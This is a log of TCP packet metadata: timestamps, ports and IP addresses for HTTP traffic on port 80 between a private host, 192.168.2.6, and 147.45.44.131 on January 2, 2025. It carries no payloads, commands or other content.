Jan 2, 2025 19:14:17.186182022 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.186216116 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.186223984 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.186229944 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.186235905 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.186280012 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.186306953 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.186312914 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.186320066 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.186325073 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.186336040 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.186429024 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.187000990 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.187006950 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.187012911 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.187017918 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.187024117 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.187028885 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.187035084 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.187073946 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.187083960 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.187103987 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.187247038 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.187252045 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.187258005 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.187298059 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.187304020 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.187310934 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.187325954 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.187331915 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.187340975 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.187376976 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.187376976 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.187412024 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.187520027 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.187525034 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.187530994 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.187567949 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.187572956 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.187580109 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.187591076 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.187597036 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.187644005 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.187664032 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.187711000 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.187716961 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.187721968 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.187727928 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.187732935 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.187747002 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.187805891 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.187860966 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.187894106 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.187900066 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.187906981 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.187911987 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.187918901 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.187923908 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.187931061 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.187936068 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.187942028 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.187951088 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.188035965 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.188118935 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.188262939 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.188268900 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.188275099 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.188280106 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.188286066 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.188292027 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.188297987 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.188303947 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.188311100 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.188314915 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.188318014 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.188354969 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.188354969 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.188555002 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.188560963 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.188568115 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.188579082 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.188585997 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.188591957 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.188597918 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.188610077 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.188647032 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.188739061 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.191391945 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.191457033 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.191462994 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.191469908 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.191474915 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.191481113 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.191530943 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.191699028 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.191730976 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.191735029 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.191751957 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.191775084 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.191780090 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.191792965 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.191797972 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.191818953 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.191870928 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.191870928 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.191888094 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.191894054 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.191900969 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.191910028 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.192018032 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.192034960 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.192048073 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.192054033 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.192059994 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.192065954 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.192073107 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.192079067 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.192084074 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.192097902 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.192102909 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.192107916 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.192109108 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.192114115 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.192120075 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.192125082 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.192131042 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.192136049 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.192142010 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.192147970 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.192152977 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.192153931 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.192158937 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.192164898 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.192167997 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.192171097 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.192173004 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.192190886 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.192236900 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.192241907 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.192246914 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.192251921 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.192254066 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.192257881 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.192262888 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.192267895 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.192274094 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.192298889 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.192308903 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.192315102 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.192321062 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.192332029 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.192337990 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.192343950 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.192351103 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.192368031 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.192389965 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.192389965 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.192419052 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.192425966 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.192431927 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.192461967 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.192511082 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.192517042 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.192523003 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.192528009 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.192544937 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.192820072 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.193368912 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.193373919 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.193378925 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.193384886 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.193420887 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.193428040 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.193433046 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.193454027 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.193481922 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.193487883 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.193495035 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.193500042 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.193506002 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.193531990 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.193531990 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.193562031 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.193567991 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.193573952 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.193599939 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.193624020 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.193629980 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.193639040 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.193766117 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.193779945 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.193787098 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.193792105 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.193798065 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.193803072 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.193804979 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.193809986 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.193835974 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.193877935 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.206931114 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.207003117 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.207007885 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.207014084 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.207021952 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.207026958 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.207032919 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.207039118 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.207073927 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.207087040 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.207093954 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.207098961 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.207128048 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.207128048 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.207228899 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.207230091 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.207235098 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.207242012 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.207246065 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.207295895 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.207528114 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.207674980 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.207680941 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.207691908 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.207694054 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.207699060 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.207704067 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.207717896 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.207722902 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.207729101 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.207735062 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.207740068 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.207746029 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.207751036 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.207756996 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.207762003 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.207768917 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.207782030 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.207813025 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.207813025 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.207813025 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.207815886 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.207827091 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.207833052 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.207839012 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.207890034 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.207902908 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.208008051 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.208014965 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.208022118 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.208026886 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.208033085 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.208038092 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.208044052 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.208077908 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.208102942 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.208107948 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.208121061 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.208126068 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.208136082 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.208148956 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.208156109 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.208162069 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.208168030 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.208187103 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.208188057 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.208188057 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.208193064 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.208199978 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.208205938 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.208210945 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.208235025 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.208235025 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.208235025 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.208241940 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.208375931 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.208379984 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.208391905 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.208441019 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.208446980 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.208453894 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.208458900 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.208465099 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.208470106 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.208514929 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.208514929 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.208514929 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.209857941 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.209897041 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.209901094 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.209913969 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.209920883 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.209925890 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.209930897 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.209933043 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.209939003 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.209958076 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.210040092 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.210164070 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.210227013 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.210232019 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.210237980 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.210283041 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.210289001 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.210294962 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.210305929 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.210313082 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.210330963 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.210330963 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.210424900 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.210689068 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.210777998 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.210783958 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.210789919 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.210794926 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.210799932 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.210805893 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.210877895 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.211103916 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.211390018 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.211457968 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.211467028 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.211472988 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.211478949 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.211483955 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.211489916 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.211494923 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.211500883 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.211525917 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.211530924 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.211532116 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.211570024 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.211570978 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.211602926 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.211608887 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.211616039 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.211647987 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.211647987 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.211652994 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.211685896 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.211700916 CET	80	49727	147.45.44.131	192.168.2.6
